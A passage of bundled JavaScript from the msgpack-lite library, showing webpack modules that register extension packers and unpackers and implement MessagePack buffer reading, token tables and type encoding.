                    codec.addExtPacker(0x0B, Boolean, [packValueOf, encode]);
                    codec.addExtPacker(0x0C, String, [packValueOf, encode]);
                    codec.addExtPacker(0x0D, Date, [Number, encode]);
                    codec.addExtPacker(0x0F, Number, [packValueOf, encode]);

                    if ("undefined" !== typeof Uint8Array) {
                        codec.addExtPacker(0x11, Int8Array, packTypedArray);
                        codec.addExtPacker(0x12, Uint8Array, packTypedArray);
                        codec.addExtPacker(0x13, Int16Array, packTypedArray);
                        codec.addExtPacker(0x14, Uint16Array, packTypedArray);
                        codec.addExtPacker(0x15, Int32Array, packTypedArray);
                        codec.addExtPacker(0x16, Uint32Array, packTypedArray);
                        codec.addExtPacker(0x17, Float32Array, packTypedArray);

                        // PhantomJS/1.9.7 doesn't have Float64Array
                        if ("undefined" !== typeof Float64Array) {
                            codec.addExtPacker(0x18, Float64Array, packTypedArray);
                        }

                        // IE10 doesn't have Uint8ClampedArray
                        if ("undefined" !== typeof Uint8ClampedArray) {
                            codec.addExtPacker(0x19, Uint8ClampedArray, packTypedArray);
                        }

                        codec.addExtPacker(0x1A, ArrayBuffer, packTypedArray);
                        codec.addExtPacker(0x1D, DataView, packTypedArray);
                    }

                    if (Bufferish.hasBuffer) {
                        codec.addExtPacker(0x1B, Buffer, Bufferish.from);
                    }
                }

                function encode(input) {
                    if (!_encode) _encode = __webpack_require__(/*! ./encode */ "./node_modules/msgpack-lite/lib/encode.js").encode; // lazy load
                    return _encode(input);
                }

                function packValueOf(value) {
                    return (value).valueOf();
                }

                function packRegExp(value) {
                    value = RegExp.prototype.toString.call(value).split("/");
                    value.shift();
                    var out = [value.pop()];
                    out.unshift(value.join("/"));
                    return out;
                }

                function packError(value) {
                    var out = {};
                    for (var key in ERROR_COLUMNS) {
                        out[key] = value[key];
                    }
                    return out;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext-unpacker.js":
            /*!*******************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/ext-unpacker.js ***!
      \*******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext-unpacker.js

                exports.setExtUnpackers = setExtUnpackers;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;
                var _decode;

                var ERROR_COLUMNS = {name: 1, message: 1, stack: 1, columnNumber: 1, fileName: 1, lineNumber: 1};

                function setExtUnpackers(codec) {
                    codec.addExtUnpacker(0x0E, [decode, unpackError(Error)]);
                    codec.addExtUnpacker(0x01, [decode, unpackError(EvalError)]);
                    codec.addExtUnpacker(0x02, [decode, unpackError(RangeError)]);
                    codec.addExtUnpacker(0x03, [decode, unpackError(ReferenceError)]);
                    codec.addExtUnpacker(0x04, [decode, unpackError(SyntaxError)]);
                    codec.addExtUnpacker(0x05, [decode, unpackError(TypeError)]);
                    codec.addExtUnpacker(0x06, [decode, unpackError(URIError)]);

                    codec.addExtUnpacker(0x0A, [decode, unpackRegExp]);
                    codec.addExtUnpacker(0x0B, [decode, unpackClass(Boolean)]);
                    codec.addExtUnpacker(0x0C, [decode, unpackClass(String)]);
                    codec.addExtUnpacker(0x0D, [decode, unpackClass(Date)]);
                    codec.addExtUnpacker(0x0F, [decode, unpackClass(Number)]);

                    if ("undefined" !== typeof Uint8Array) {
                        codec.addExtUnpacker(0x11, unpackClass(Int8Array));
                        codec.addExtUnpacker(0x12, unpackClass(Uint8Array));
                        codec.addExtUnpacker(0x13, [unpackArrayBuffer, unpackClass(Int16Array)]);
                        codec.addExtUnpacker(0x14, [unpackArrayBuffer, unpackClass(Uint16Array)]);
                        codec.addExtUnpacker(0x15, [unpackArrayBuffer, unpackClass(Int32Array)]);
                        codec.addExtUnpacker(0x16, [unpackArrayBuffer, unpackClass(Uint32Array)]);
                        codec.addExtUnpacker(0x17, [unpackArrayBuffer, unpackClass(Float32Array)]);

                        // PhantomJS/1.9.7 doesn't have Float64Array
                        if ("undefined" !== typeof Float64Array) {
                            codec.addExtUnpacker(0x18, [unpackArrayBuffer, unpackClass(Float64Array)]);
                        }

                        // IE10 doesn't have Uint8ClampedArray
                        if ("undefined" !== typeof Uint8ClampedArray) {
                            codec.addExtUnpacker(0x19, unpackClass(Uint8ClampedArray));
                        }

                        codec.addExtUnpacker(0x1A, unpackArrayBuffer);
                        codec.addExtUnpacker(0x1D, [unpackArrayBuffer, unpackClass(DataView)]);
                    }

                    if (Bufferish.hasBuffer) {
                        codec.addExtUnpacker(0x1B, unpackClass(Buffer));
                    }
                }

                function decode(input) {
                    if (!_decode) _decode = __webpack_require__(/*! ./decode */ "./node_modules/msgpack-lite/lib/decode.js").decode; // lazy load
                    return _decode(input);
                }

                function unpackRegExp(value) {
                    return RegExp.apply(null, value);
                }

                function unpackError(Class) {
                    return function(value) {
                        var out = new Class();
                        for (var key in ERROR_COLUMNS) {
                            out[key] = value[key];
                        }
                        return out;
                    };
                }

                function unpackClass(Class) {
                    return function(value) {
                        return new Class(value);
                    };
                }

                function unpackArrayBuffer(value) {
                    return (new Uint8Array(value)).buffer;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext.js":
            /*!**********************************************!*\
      !*** ./node_modules/msgpack-lite/lib/ext.js ***!
      \**********************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext.js

                // load both interfaces
                __webpack_require__(/*! ./read-core */ "./node_modules/msgpack-lite/lib/read-core.js");
                __webpack_require__(/*! ./write-core */ "./node_modules/msgpack-lite/lib/write-core.js");

                exports.createCodec = __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js").createCodec;


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/flex-buffer.js":
            /*!******************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/flex-buffer.js ***!
      \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // flex-buffer.js

                exports.FlexDecoder = FlexDecoder;
                exports.FlexEncoder = FlexEncoder;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                var MIN_BUFFER_SIZE = 2048;
                var MAX_BUFFER_SIZE = 65536;
                var BUFFER_SHORTAGE = "BUFFER_SHORTAGE";

                function FlexDecoder() {
                    if (!(this instanceof FlexDecoder)) return new FlexDecoder();
                }

                function FlexEncoder() {
                    if (!(this instanceof FlexEncoder)) return new FlexEncoder();
                }

                FlexDecoder.mixin = mixinFactory(getDecoderMethods());
                FlexDecoder.mixin(FlexDecoder.prototype);

                FlexEncoder.mixin = mixinFactory(getEncoderMethods());
                FlexEncoder.mixin(FlexEncoder.prototype);

                function getDecoderMethods() {
                    return {
                        bufferish: Bufferish,
                        write: write,
                        fetch: fetch,
                        flush: flush,
                        push: push,
                        pull: pull,
                        read: read,
                        reserve: reserve,
                        offset: 0
                    };

                    function write(chunk) {
                        var prev = this.offset ? Bufferish.prototype.slice.call(this.buffer, this.offset) : this.buffer;
                        this.buffer = prev ? (chunk ? this.bufferish.concat([prev, chunk]) : prev) : chunk;
                        this.offset = 0;
                    }

                    function flush() {
                        while (this.offset < this.buffer.length) {
                            var start = this.offset;
                            var value;
                            try {
                                value = this.fetch();
                            } catch (e) {
                                if (e && e.message != BUFFER_SHORTAGE) throw e;
                                // rollback
                                this.offset = start;
                                break;
                            }
                            this.push(value);
                        }
                    }

                    function reserve(length) {
                        var start = this.offset;
                        var end = start + length;
                        if (end > this.buffer.length) throw new Error(BUFFER_SHORTAGE);
                        this.offset = end;
                        return start;
                    }
                }

                function getEncoderMethods() {
                    return {
                        bufferish: Bufferish,
                        write: write,
                        fetch: fetch,
                        flush: flush,
                        push: push,
                        pull: pull,
                        read: read,
                        reserve: reserve,
                        send: send,
                        maxBufferSize: MAX_BUFFER_SIZE,
                        minBufferSize: MIN_BUFFER_SIZE,
                        offset: 0,
                        start: 0
                    };

                    function fetch() {
                        var start = this.start;
                        if (start < this.offset) {
                            var end = this.start = this.offset;
                            return Bufferish.prototype.slice.call(this.buffer, start, end);
                        }
                    }

                    function flush() {
                        while (this.start < this.offset) {
                            var value = this.fetch();
                            if (value) this.push(value);
                        }
                    }

                    function pull() {
                        var buffers = this.buffers || (this.buffers = []);
                        var chunk = buffers.length > 1 ? this.bufferish.concat(buffers) : buffers[0];
                        buffers.length = 0; // buffer exhausted
                        return chunk;
                    }

                    function reserve(length) {
                        var req = length | 0;

                        if (this.buffer) {
                            var size = this.buffer.length;
                            var start = this.offset | 0;
                            var end = start + req;

                            // is it long enough?
                            if (end < size) {
                                this.offset = end;
                                return start;
                            }

                            // flush current buffer
                            this.flush();

                            // resize it to 2x current length
                            length = Math.max(length, Math.min(size * 2, this.maxBufferSize));
                        }

                        // minimum buffer size
                        length = Math.max(length, this.minBufferSize);

                        // allocate new buffer
                        this.buffer = this.bufferish.alloc(length);
                        this.start = 0;
                        this.offset = req;
                        return 0;
                    }

                    function send(buffer) {
                        var length = buffer.length;
                        if (length > this.minBufferSize) {
                            this.flush();
                            this.push(buffer);
                        } else {
                            var offset = this.reserve(length);
                            Bufferish.prototype.copy.call(buffer, this.buffer, offset);
                        }
                    }
                }

                // common methods

                function write() {
                    throw new Error("method not implemented: write()");
                }

                function fetch() {
                    throw new Error("method not implemented: fetch()");
                }

                function read() {
                    var length = this.buffers && this.buffers.length;

                    // fetch the first result
                    if (!length) return this.fetch();

                    // flush current buffer
                    this.flush();

                    // read from the results
                    return this.pull();
                }

                function push(chunk) {
                    var buffers = this.buffers || (this.buffers = []);
                    buffers.push(chunk);
                }

                function pull() {
                    var buffers = this.buffers || (this.buffers = []);
                    return buffers.shift();
                }

                function mixinFactory(source) {
                    return mixin;

                    function mixin(target) {
                        for (var key in source) {
                            target[key] = source[key];
                        }
                        return target;
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/read-core.js":
            /*!****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/read-core.js ***!
      \****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // read-core.js

                var ExtBuffer = __webpack_require__(/*! ./ext-buffer */ "./node_modules/msgpack-lite/lib/ext-buffer.js").ExtBuffer;
                var ExtUnpacker = __webpack_require__(/*! ./ext-unpacker */ "./node_modules/msgpack-lite/lib/ext-unpacker.js");
                var readUint8 = __webpack_require__(/*! ./read-format */ "./node_modules/msgpack-lite/lib/read-format.js").readUint8;
                var ReadToken = __webpack_require__(/*! ./read-token */ "./node_modules/msgpack-lite/lib/read-token.js");
                var CodecBase = __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js");

                CodecBase.install({
                    addExtUnpacker: addExtUnpacker,
                    getExtUnpacker: getExtUnpacker,
                    init: init
                });

                exports.preset = init.call(CodecBase.preset);

                function getDecoder(options) {
                    var readToken = ReadToken.getReadToken(options);
                    return decode;

                    function decode(decoder) {
                        var type = readUint8(decoder);
                        var func = readToken[type];
                        if (!func) throw new Error("Invalid type: " + (type ? ("0x" + type.toString(16)) : type));
                        return func(decoder);
                    }
                }

                function init() {
                    var options = this.options;
                    this.decode = getDecoder(options);

                    if (options && options.preset) {
                        ExtUnpacker.setExtUnpackers(this);
                    }

                    return this;
                }

                function addExtUnpacker(etype, unpacker) {
                    var unpackers = this.extUnpackers || (this.extUnpackers = []);
                    unpackers[etype] = CodecBase.filter(unpacker);
                }

                function getExtUnpacker(type) {
                    var unpackers = this.extUnpackers || (this.extUnpackers = []);
                    return unpackers[type] || extUnpacker;

                    function extUnpacker(buffer) {
                        return new ExtBuffer(buffer, type);
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/read-format.js":
            /*!******************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/read-format.js ***!
      \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // read-format.js

                var ieee754 = __webpack_require__(/*! ieee754 */ "./node_modules/ieee754/index.js");
                var Int64Buffer = __webpack_require__(/*! int64-buffer */ "./node_modules/int64-buffer/int64-buffer.js");
                var Uint64BE = Int64Buffer.Uint64BE;
                var Int64BE = Int64Buffer.Int64BE;

                exports.getReadFormat = getReadFormat;
                exports.readUint8 = uint8;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var BufferProto = __webpack_require__(/*! ./bufferish-proto */ "./node_modules/msgpack-lite/lib/bufferish-proto.js");

                var HAS_MAP = ("undefined" !== typeof Map);
                var NO_ASSERT = true;

                function getReadFormat(options) {
                    var binarraybuffer = Bufferish.hasArrayBuffer && options && options.binarraybuffer;
                    var int64 = options && options.int64;
                    var usemap = HAS_MAP && options && options.usemap;

                    var readFormat = {
                        map: (usemap ? map_to_map : map_to_obj),
                        array: array,
                        str: str,
                        bin: (binarraybuffer ? bin_arraybuffer : bin_buffer),
                        ext: ext,
                        uint8: uint8,
                        uint16: uint16,
                        uint32: uint32,
                        uint64: read(8, int64 ? readUInt64BE_int64 : readUInt64BE),
                        int8: int8,
                        int16: int16,
                        int32: int32,
                        int64: read(8, int64 ? readInt64BE_int64 : readInt64BE),
                        float32: read(4, readFloatBE),
                        float64: read(8, readDoubleBE)
                    };

                    return readFormat;
                }

                function map_to_obj(decoder, len) {
                    var value = {};
                    var i;
                    var k = new Array(len);
                    var v = new Array(len);

                    var decode = decoder.codec.decode;
                    for (i = 0; i < len; i++) {
                        k[i] = decode(decoder);
                        v[i] = decode(decoder);
                    }
                    for (i = 0; i < len; i++) {
                        value[k[i]] = v[i];
                    }
                    return value;
                }

                function map_to_map(decoder, len) {
                    var value = new Map();
                    var i;
                    var k = new Array(len);
                    var v = new Array(len);

                    var decode = decoder.codec.decode;
                    for (i = 0; i < len; i++) {
                        k[i] = decode(decoder);
                        v[i] = decode(decoder);
                    }
                    for (i = 0; i < len; i++) {
                        value.set(k[i], v[i]);
                    }
                    return value;
                }

                function array(decoder, len) {
                    var value = new Array(len);
                    var decode = decoder.codec.decode;
                    for (var i = 0; i < len; i++) {
                        value[i] = decode(decoder);
                    }
                    return value;
                }

                function str(decoder, len) {
                    var start = decoder.reserve(len);
                    var end = start + len;
                    return BufferProto.toString.call(decoder.buffer, "utf-8", start, end);
                }

                function bin_buffer(decoder, len) {
                    var start = decoder.reserve(len);
                    var end = start + len;
                    var buf = BufferProto.slice.call(decoder.buffer, start, end);
                    return Bufferish.from(buf);
                }

                function bin_arraybuffer(decoder, len) {
                    var start = decoder.reserve(len);
                    var end = start + len;
                    var buf = BufferProto.slice.call(decoder.buffer, start, end);
                    return Bufferish.Uint8Array.from(buf).buffer;
                }

                function ext(decoder, len) {
                    var start = decoder.reserve(len+1);
                    var type = decoder.buffer[start++];
                    var end = start + len;
                    var unpack = decoder.codec.getExtUnpacker(type);
                    if (!unpack) throw new Error("Invalid ext type: " + (type ? ("0x" + type.toString(16)) : type));
                    var buf = BufferProto.slice.call(decoder.buffer, start, end);
                    return unpack(buf);
                }

                function uint8(decoder) {
                    var start = decoder.reserve(1);
                    return decoder.buffer[start];
                }

                function int8(decoder) {
                    var start = decoder.reserve(1);
                    var value = decoder.buffer[start];
                    return (value & 0x80) ? value - 0x100 : value;
                }

                function uint16(decoder) {
                    var start = decoder.reserve(2);
                    var buffer = decoder.buffer;
                    return (buffer[start++] << 8) | buffer[start];
                }

                function int16(decoder) {
                    var start = decoder.reserve(2);
                    var buffer = decoder.buffer;
                    var value = (buffer[start++] << 8) | buffer[start];
                    return (value & 0x8000) ? value - 0x10000 : value;
                }

                function uint32(decoder) {
                    var start = decoder.reserve(4);
                    var buffer = decoder.buffer;
                    return (buffer[start++] * 16777216) + (buffer[start++] << 16) + (buffer[start++] << 8) + buffer[start];
                }

                function int32(decoder) {
                    var start = decoder.reserve(4);
                    var buffer = decoder.buffer;
                    return (buffer[start++] << 24) | (buffer[start++] << 16) | (buffer[start++] << 8) | buffer[start];
                }

                function read(len, method) {
                    return function(decoder) {
                        var start = decoder.reserve(len);
                        return method.call(decoder.buffer, start, NO_ASSERT);
                    };
                }

                function readUInt64BE(start) {
                    return new Uint64BE(this, start).toNumber();
                }

                function readInt64BE(start) {
                    return new Int64BE(this, start).toNumber();
                }

                function readUInt64BE_int64(start) {
                    return new Uint64BE(this, start);
                }

                function readInt64BE_int64(start) {
                    return new Int64BE(this, start);
                }

                function readFloatBE(start) {
                    return ieee754.read(this, start, false, 23, 4);
                }

                function readDoubleBE(start) {
                    return ieee754.read(this, start, false, 52, 8);
                }

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/read-token.js":
            /*!*****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/read-token.js ***!
      \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // read-token.js

                var ReadFormat = __webpack_require__(/*! ./read-format */ "./node_modules/msgpack-lite/lib/read-format.js");

                exports.getReadToken = getReadToken;

                function getReadToken(options) {
                    var format = ReadFormat.getReadFormat(options);

                    if (options && options.useraw) {
                        return init_useraw(format);
                    } else {
                        return init_token(format);
                    }
                }

                function init_token(format) {
                    var i;
                    var token = new Array(256);

                    // positive fixint -- 0x00 - 0x7f
                    for (i = 0x00; i <= 0x7f; i++) {
                        token[i] = constant(i);
                    }

                    // fixmap -- 0x80 - 0x8f
                    for (i = 0x80; i <= 0x8f; i++) {
                        token[i] = fix(i - 0x80, format.map);
                    }

                    // fixarray -- 0x90 - 0x9f
                    for (i = 0x90; i <= 0x9f; i++) {
                        token[i] = fix(i - 0x90, format.array);
                    }

                    // fixstr -- 0xa0 - 0xbf
                    for (i = 0xa0; i <= 0xbf; i++) {
                        token[i] = fix(i - 0xa0, format.str);
                    }

                    // nil -- 0xc0
                    token[0xc0] = constant(null);

                    // (never used) -- 0xc1
                    token[0xc1] = null;

                    // false -- 0xc2
                    // true -- 0xc3
                    token[0xc2] = constant(false);
                    token[0xc3] = constant(true);

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    token[0xc4] = flex(format.uint8, format.bin);
                    token[0xc5] = flex(format.uint16, format.bin);
                    token[0xc6] = flex(format.uint32, format.bin);

                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    token[0xc7] = flex(format.uint8, format.ext);
                    token[0xc8] = flex(format.uint16, format.ext);
                    token[0xc9] = flex(format.uint32, format.ext);

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = format.float32;
                    token[0xcb] = format.float64;

                    // uint 8 -- 0xcc
                    // uint 16 -- 0xcd
                    // uint 32 -- 0xce
                    // uint 64 -- 0xcf
                    token[0xcc] = format.uint8;
                    token[0xcd] = format.uint16;
                    token[0xce] = format.uint32;
                    token[0xcf] = format.uint64;

                    // int 8 -- 0xd0
                    // int 16 -- 0xd1
                    // int 32 -- 0xd2
                    // int 64 -- 0xd3
                    token[0xd0] = format.int8;
                    token[0xd1] = format.int16;
                    token[0xd2] = format.int32;
                    token[0xd3] = format.int64;

                    // fixext 1 -- 0xd4
                    // fixext 2 -- 0xd5
                    // fixext 4 -- 0xd6
                    // fixext 8 -- 0xd7
                    // fixext 16 -- 0xd8
                    token[0xd4] = fix(1, format.ext);
                    token[0xd5] = fix(2, format.ext);
                    token[0xd6] = fix(4, format.ext);
                    token[0xd7] = fix(8, format.ext);
                    token[0xd8] = fix(16, format.ext);

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    token[0xd9] = flex(format.uint8, format.str);
                    token[0xda] = flex(format.uint16, format.str);
                    token[0xdb] = flex(format.uint32, format.str);

                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    token[0xdc] = flex(format.uint16, format.array);
                    token[0xdd] = flex(format.uint32, format.array);

                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    token[0xde] = flex(format.uint16, format.map);
                    token[0xdf] = flex(format.uint32, format.map);

                    // negative fixint -- 0xe0 - 0xff
                    for (i = 0xe0; i <= 0xff; i++) {
                        token[i] = constant(i - 0x100);
                    }

                    return token;
                }

                function init_useraw(format) {
                    var i;
                    var token = init_token(format).slice();

                    // raw 8 -- 0xd9
                    // raw 16 -- 0xda
                    // raw 32 -- 0xdb
                    token[0xd9] = token[0xc4];
                    token[0xda] = token[0xc5];
                    token[0xdb] = token[0xc6];

                    // fixraw -- 0xa0 - 0xbf
                    for (i = 0xa0; i <= 0xbf; i++) {
                        token[i] = fix(i - 0xa0, format.bin);
                    }

                    return token;
                }

                function constant(value) {
                    return function() {
                        return value;
                    };
                }

                function flex(lenFunc, decodeFunc) {
                    return function(decoder) {
                        var len = lenFunc(decoder);
                        return decodeFunc(decoder, len);
                    };
                }

                function fix(len, method) {
                    return function(decoder) {
                        return method(decoder, len);
                    };
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-core.js":
            /*!*****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/write-core.js ***!
      \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // write-core.js

                var ExtBuffer = __webpack_require__(/*! ./ext-buffer */ "./node_modules/msgpack-lite/lib/ext-buffer.js").ExtBuffer;
                var ExtPacker = __webpack_require__(/*! ./ext-packer */ "./node_modules/msgpack-lite/lib/ext-packer.js");
                var WriteType = __webpack_require__(/*! ./write-type */ "./node_modules/msgpack-lite/lib/write-type.js");
                var CodecBase = __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js");

                CodecBase.install({
                    addExtPacker: addExtPacker,
                    getExtPacker: getExtPacker,
                    init: init
                });

                exports.preset = init.call(CodecBase.preset);

                function getEncoder(options) {
                    var writeType = WriteType.getWriteType(options);
                    return encode;

                    function encode(encoder, value) {
                        var func = writeType[typeof value];
                        if (!func) throw new Error("Unsupported type \"" + (typeof value) + "\": " + value);
                        func(encoder, value);
                    }
                }

                function init() {
                    var options = this.options;
                    this.encode = getEncoder(options);

                    if (options && options.preset) {
                        ExtPacker.setExtPackers(this);
                    }

                    return this;
                }

                function addExtPacker(etype, Class, packer) {
                    packer = CodecBase.filter(packer);
                    var name = Class.name;
                    if (name && name !== "Object") {
                        var packers = this.extPackers || (this.extPackers = {});
                        packers[name] = extPacker;
                    } else {
                        // fallback for IE
                        var list = this.extEncoderList || (this.extEncoderList = []);
                        list.unshift([Class, extPacker]);
                    }

                    function extPacker(value) {
                        if (packer) value = packer(value);
                        return new ExtBuffer(value, etype);
                    }
                }

                function getExtPacker(value) {
                    var packers = this.extPackers || (this.extPackers = {});
                    var c = value.constructor;
                    var e = c && c.name && packers[c.name];
                    if (e) return e;

                    // fallback for IE
                    var list = this.extEncoderList || (this.extEncoderList = []);
                    var len = list.length;
                    for (var i = 0; i < len; i++) {
                        var pair = list[i];
                        if (c === pair[0]) return pair[1];
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-token.js":
            /*!******************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/write-token.js ***!
      \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // write-token.js

                var ieee754 = __webpack_require__(/*! ieee754 */ "./node_modules/ieee754/index.js");
                var Int64Buffer = __webpack_require__(/*! int64-buffer */ "./node_modules/int64-buffer/int64-buffer.js");
                var Uint64BE = Int64Buffer.Uint64BE;
                var Int64BE = Int64Buffer.Int64BE;

                var uint8 = __webpack_require__(/*! ./write-uint8 */ "./node_modules/msgpack-lite/lib/write-uint8.js").uint8;
                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;
                var IS_BUFFER_SHIM = Bufferish.hasBuffer && ("TYPED_ARRAY_SUPPORT" in Buffer);
                var NO_TYPED_ARRAY = IS_BUFFER_SHIM && !Buffer.TYPED_ARRAY_SUPPORT;
                var Buffer_prototype = Bufferish.hasBuffer && Buffer.prototype || {};

                exports.getWriteToken = getWriteToken;

                function getWriteToken(options) {
                    if (options && options.uint8array) {
                        return init_uint8array();
                    } else if (NO_TYPED_ARRAY || (Bufferish.hasBuffer && options && options.safe)) {
                        return init_safe();
                    } else {
                        return init_token();
                    }
                }

                function init_uint8array() {
                    var token = init_token();

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = writeN(0xca, 4, writeFloatBE);
                    token[0xcb] = writeN(0xcb, 8, writeDoubleBE);

                    return token;
                }

                // Node.js and browsers with TypedArray

                function init_token() {
                    // (immediate values)
                    // positive fixint -- 0x00 - 0x7f
                    // nil -- 0xc0
                    // false -- 0xc2
                    // true -- 0xc3
                    // negative fixint -- 0xe0 - 0xff
                    var token = uint8.slice();

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    token[0xc4] = write1(0xc4);
                    token[0xc5] = write2(0xc5);
                    token[0xc6] = write4(0xc6);

                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    token[0xc7] = write1(0xc7);
                    token[0xc8] = write2(0xc8);
                    token[0xc9] = write4(0xc9);

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = writeN(0xca, 4, (Buffer_prototype.writeFloatBE || writeFloatBE), true);
                    token[0xcb] = writeN(0xcb, 8, (Buffer_prototype.writeDoubleBE || writeDoubleBE), true);

                    // uint 8 -- 0xcc
                    // uint 16 -- 0xcd
                    // uint 32 -- 0xce
                    // uint 64 -- 0xcf
                    token[0xcc] = write1(0xcc);
                    token[0xcd] = write2(0xcd);
                    token[0xce] = write4(0xce);
                    token[0xcf] = writeN(0xcf, 8, writeUInt64BE);

                    // int 8 -- 0xd0
                    // int 16 -- 0xd1
                    // int 32 -- 0xd2
                    // int 64 -- 0xd3
                    token[0xd0] = write1(0xd0);
                    token[0xd1] = write2(0xd1);
                    token[0xd2] = write4(0xd2);
                    token[0xd3] = writeN(0xd3, 8, writeInt64BE);

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    token[0xd9] = write1(0xd9);
                    token[0xda] = write2(0xda);
                    token[0xdb] = write4(0xdb);

                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    token[0xdc] = write2(0xdc);
                    token[0xdd] = write4(0xdd);

                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    token[0xde] = write2(0xde);
                    token[0xdf] = write4(0xdf);

                    return token;
                }

                // safe mode: for old browsers and who needs asserts

                function init_safe() {
                    // (immediate values)
                    // positive fixint -- 0x00 - 0x7f
                    // nil -- 0xc0
                    // false -- 0xc2
                    // true -- 0xc3
                    // negative fixint -- 0xe0 - 0xff
                    var token = uint8.slice();

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    token[0xc4] = writeN(0xc4, 1, Buffer.prototype.writeUInt8);
                    token[0xc5] = writeN(0xc5, 2, Buffer.prototype.writeUInt16BE);
                    token[0xc6] = writeN(0xc6, 4, Buffer.prototype.writeUInt32BE);

                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    token[0xc7] = writeN(0xc7, 1, Buffer.prototype.writeUInt8);
                    token[0xc8] = writeN(0xc8, 2, Buffer.prototype.writeUInt16BE);
                    token[0xc9] = writeN(0xc9, 4, Buffer.prototype.writeUInt32BE);

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = writeN(0xca, 4, Buffer.prototype.writeFloatBE);
                    token[0xcb] = writeN(0xcb, 8, Buffer.prototype.writeDoubleBE);

                    // uint 8 -- 0xcc
                    // uint 16 -- 0xcd
                    // uint 32 -- 0xce
                    // uint 64 -- 0xcf
                    token[0xcc] = writeN(0xcc, 1, Buffer.prototype.writeUInt8);
                    token[0xcd] = writeN(0xcd, 2, Buffer.prototype.writeUInt16BE);
                    token[0xce] = writeN(0xce, 4, Buffer.prototype.writeUInt32BE);
                    token[0xcf] = writeN(0xcf, 8, writeUInt64BE);

                    // int 8 -- 0xd0
                    // int 16 -- 0xd1
                    // int 32 -- 0xd2
                    // int 64 -- 0xd3
                    token[0xd0] = writeN(0xd0, 1, Buffer.prototype.writeInt8);
                    token[0xd1] = writeN(0xd1, 2, Buffer.prototype.writeInt16BE);
                    token[0xd2] = writeN(0xd2, 4, Buffer.prototype.writeInt32BE);
                    token[0xd3] = writeN(0xd3, 8, writeInt64BE);

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    token[0xd9] = writeN(0xd9, 1, Buffer.prototype.writeUInt8);
                    token[0xda] = writeN(0xda, 2, Buffer.prototype.writeUInt16BE);
                    token[0xdb] = writeN(0xdb, 4, Buffer.prototype.writeUInt32BE);

                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    token[0xdc] = writeN(0xdc, 2, Buffer.prototype.writeUInt16BE);
                    token[0xdd] = writeN(0xdd, 4, Buffer.prototype.writeUInt32BE);

                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    token[0xde] = writeN(0xde, 2, Buffer.prototype.writeUInt16BE);
                    token[0xdf] = writeN(0xdf, 4, Buffer.prototype.writeUInt32BE);

                    return token;
                }

                function write1(type) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(2);
                        var buffer = encoder.buffer;
                        buffer[offset++] = type;
                        buffer[offset] = value;
                    };
                }

                function write2(type) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(3);
                        var buffer = encoder.buffer;
                        buffer[offset++] = type;
                        buffer[offset++] = value >>> 8;
                        buffer[offset] = value;
                    };
                }

                function write4(type) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(5);
                        var buffer = encoder.buffer;
